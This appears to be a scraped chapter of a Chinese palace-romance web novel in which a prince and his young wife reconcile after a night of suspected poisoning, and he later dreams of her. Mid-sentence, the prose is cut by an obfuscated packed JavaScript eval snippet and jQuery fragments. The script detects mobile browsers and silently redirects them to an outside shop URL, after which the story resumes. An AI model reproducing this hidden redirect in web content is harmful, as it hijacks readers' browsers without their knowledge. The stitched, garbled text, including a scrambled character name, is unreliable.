此时的书房之中,李长昀盘坐在榻上,紧闭着双目。
他刚洗了冷水澡,却仍然感觉烦躁,脑海中全是今夜的姜奕安。
昏暗的长信殿中,她扑在自己怀中,虽隔着衣衫,但气息交叠,那双晶亮的眸子狠狠地印在了自己的脑中,拼命擦也擦不掉。
没有人比他更能知晓,他那时忍得有多难受……
她为何不能安静乖觉一些,自己为何不能再冷硬淡漠一些?
如今他已盘坐念经快一个时辰了,可《太平经》断断续续还没念完一遍。
想必是长信殿中发生的一切有些突然,于他而言又冲击太过,将他拉扯得道心不稳了,而且到现在也未能稳住。
李长昀不由得生出几分气恼来……
书房之中只有一息烛火浅浅摇曳着,突然敲门声响起,那烛火猛地一颤。
姜奕安的声音在门外响起:“王爷,是我,烦请开门。”
李长昀双手紧紧攥住衣衫,道:“有事明日再说。”
“不行,是很重要的事,今夜一定要说的!”
书房内过了良久还是没有动静,姜奕安的声音大了些:“今夜王爷若是不开门,那我就在这里不走了!”
烛火又猛烈地颤动了一下,李长昀睁开双目,紧抿着唇,手指摩挲着拇指上的木戒,终是长长地呼出一口气,起身来到门前,打开了门。
姜奕雪白安中衣外面披着杏色褙子,手中握着一盏灯,鼻尖有些发红,眸子仍然晶亮,只是看起来颇有些委屈,咬着唇角看着李长昀。
李长昀突然感觉浑身失了力气,叹息了一声:“你不在屋中好生歇息,跑来做什么?”
姜奕安将灯放在地上,仰头看着他:“进书房说。”
李长昀避开了她的眼神:“在这里说,说完便回去睡。”
“我冷。”
姜奕安说罢,还故意缩了缩身子。
李长昀神色微顿,扫了一眼她身上的褙子,便妥协了,让开了一步,姜奕安便立刻蹿了进去,端坐在了桌案旁边,仰头看着仍在门口立着的李长昀。
那神情似是在说:快些过来呀。
李长昀认命似的将门掩上,踱步在桌案前与姜奕安相对而坐,道:“说完立刻回去歇息。”
姜奕安打量着李长昀的神色,见他面上有些不耐,但已不似方才那般冷峻骇人,便道:“王爷今夜生我的气了。”
她平直地陈述着这一事实,李长昀下意识想反驳,却不知从何开口。
姜奕安郑重其事地望着他,道:“可我很是愚钝,从不善于猜人心思,实在看不出来王爷为何生气。”
“王爷能不能清楚明白地告诉我,到底在气些什么?我也好知道自己错在何处,日后才能改正。”
李长昀本以为她会为今夜究竟发生了何事而刨根问底,却没想到她一开口问的却是这个……
可他该如何解释呢?
他都不确定自己到底在气些什么……
李长昀忍不住苦笑。
“王爷笑什么?”姜奕安提高了声音,眼圈有些涩意,“是觉得我很可笑吗?”
她都主动来低头了,他怎么还笑自己。
姜奕安一脸委屈地望着他,李长昀瞧见她那发红的眼眶,顿时失了浑身的力气。
他娶的这个小王妃,还真是磨人得很……
“不是的,你先冷静些。”李长昀不善于安慰人,但立刻放软了声音,道,“今夜有人要向本王下毒,本王在殿中见到你时,刚好逃过一劫,心中还有些疑惧未消,故而情绪激动了些。”
他自是不能和盘托出,只能真真假假地糊弄过去。
李长昀望着她水润的眸子,语气也放轻了许多:“是不是吓到你了?”
姜奕安闻言瞪大了双目,道:“是谁要给王爷下毒?王爷现在身子还好吗?”
李长昀摇摇头,言简意赅:“无事了。”
姜奕安道:“这事陛下知道吗?”
李长昀又是摇头:“陛下不必知道。”
姜奕安心中猜出来几分,试探着道:“是太皇太后做的吗?”
李长昀唇角挂着淡然的笑意,并未承认也没否认。
可姜奕安还是有些疑惑,她与此事有何干系呢?为何红药要将她引来?
姜奕安这么想着,也这么问出来了,李长昀默了默,才道:“这本王便不得而知了,说不定还有旁的计划,却因本王早一步警觉而无法实施了吧。”
姜奕安“唔”了一声,心中淡定了许多,又道:“那别的呢?王爷可有对我不满之处?”
李长昀有些迟疑,姜奕安却道:“王爷如实说便是,这样日后才好与王爷和谐相处呀。”
李长昀本不欲当面说旁人的是非,但见姜奕安神色诚恳,且她所言有理,便道:“望你日后乖巧一些,话少一些,莫要动不动威胁本王,本王便心满意足了。”
姜奕安有些赧然,乖觉地点头,又兴致勃勃道:“王爷说完了,现在该我啦。”
李长昀一怔,便见姜奕安再次郑重其事地看着他,道:“想必王爷能看出来,我是个直来直去的人,没那么弯弯绕绕的心思,还望王爷日后有话直说,莫要动不动对我板着脸。”
李长昀忽而失笑。
原来是在这里等着他呢,这姜奕安,当真是有些小聪明,不像只燕子了,倒像只小狐狸……
姜奕安见李长昀终于笑了,也扬起了唇角,道:“心事总憋在心里,我理解不了,王爷也不舒心,那日子怎能过得下去?”
“所以呀,王爷日后有心事就跟我说好啦,我很会安慰人的。”
李长昀眼睫轻颤,在姜奕安灼灼目光下,哑着声音说了一声“好”。
姜奕安满意了许多,道:“王爷明日回道观吗?”不等李长昀答话,又道:“若是不回道观的话,继续教我做木雕好不好?”
在姜奕安期待的目光下,李长昀仍是说了一声“好”。
姜奕安所有的目的都达成了,顿时感觉神清气爽,缓缓起身后伸了个懒腰:“王爷是打算在书房睡,还是回去跟我一起?”
李长昀眉心微动,抬眸看向她,手指摩挲了一下木戒,嘴唇张了张,却见姜奕安苦恼地皱起了眉头:“是我忘了,已经让拂冬收拾被褥在贵妃榻上歇息的……”
李长昀咽下刚要
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757892|188352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说出的话,转而颇为善解人意道:“既有人陪你,那本王便在书房歇息了。”
姜奕安又笑了:“那就多谢王爷了,明日等我起身后就来找王爷,王爷可要记得教我木雕呀!”
李长昀轻轻点头,姜奕安向李长昀道了句“晚安”,便匆匆出了书房。
却留下了满室的桃花香气。
李长昀长长地呼吸了几口,想再继续念经,却脑中一片空白。
李长昀在原地呆坐在了半晌,便起身拿出了木雕的盒子,想要再雕刻一会静静心,谁知刚打开木盒,脑海中又浮现出姜奕安坐在自己桌案旁认真雕刻的样子,时不时抬眸望他一眼,那笑容比夏日的艳阳还要灼人。
而且明日她还要来学木雕……
李长昀立刻摇了摇头,将木盒合上收了起来。
此时,书房门又敲响了,李长昀身子立刻紧绷起来,待见到是春雷后,立即放松了许多,坦荡地抬头看向他。
春雷上前道:“果然如殿下所料,太皇太后下令处死那小宫女青萍。”
李长昀“嗯”了一声,:“事情处理好了?”
“红药已死,尸体也偷梁换柱了。”
“好,将人偷偷运到庄子上吧。”李长昀面色平淡,“让他也小心些。”
春雷应下了,又取出一封信道:“裴员外郎的信,请殿下过目。”
李长昀接过展开,一目十行地看过,唇角轻轻勾了勾,便将信件燃了,道:“不必回信了,派人护好他的安全。”
春雷应下,闪身离开了,书房又归于平静,那股桃花气息似是淡了些。
李长昀长叹一口气,走到床榻前缓缓躺下,闭目后却忍不住在想,姜奕安此时应当已经睡下了吧。
她窝在被褥之中,睡得极其安稳,从来不会被同榻之人干扰,反而,似是很喜欢有人陪着她一起睡……
其实他陪着她一起睡,倒也不是不行,只同榻而眠,相互陪伴,也能将一些莫名的情绪消解掉……
头痛袭来,李长昀在冷硬的榻上翻了个身,闭目强迫自己睡着,过了良久,自己梦中又回到了清平宫。
寒冬腊月,铜墙铁壁,不见天日。
李长昀平躺在冷硬的方砖地上,复又起身,仰头看去,便见房梁。
李长昀觉得奇怪,他在清平宫被囚禁了整整六年,对这里的一砖一瓦都再熟悉不过,从未记得这里有过房梁。
李长昀一跃而上,手指抚摸着房梁,突然听见房梁柱子后面有窸窸窣窣的声音,只见穿着杏黄褙子的姜奕安从柱子后面露头,立在房梁上向他招了招手。
李长昀惊讶地眨了眨双目,便见姜奕安笑容如她往日般灿烂开怀,想要伸手拉他,却脚下不稳,身子歪了下去,在将要掉下去的那一刻,李长昀上前一步,伸手揽住了她的腰肢。
姜奕安身子被扶起来了,她一脸惊喜,张了张唇却没有声音,李长昀能辨认出,她是在谢谢他。
可下一瞬,姜奕安要脱离那环着她腰肢的手臂,转身欲走,李长昀眉心微蹙,下意识手臂使力。
姜奕安整个身子扑在了他怀中。
李长昀的双臂立刻环住了她……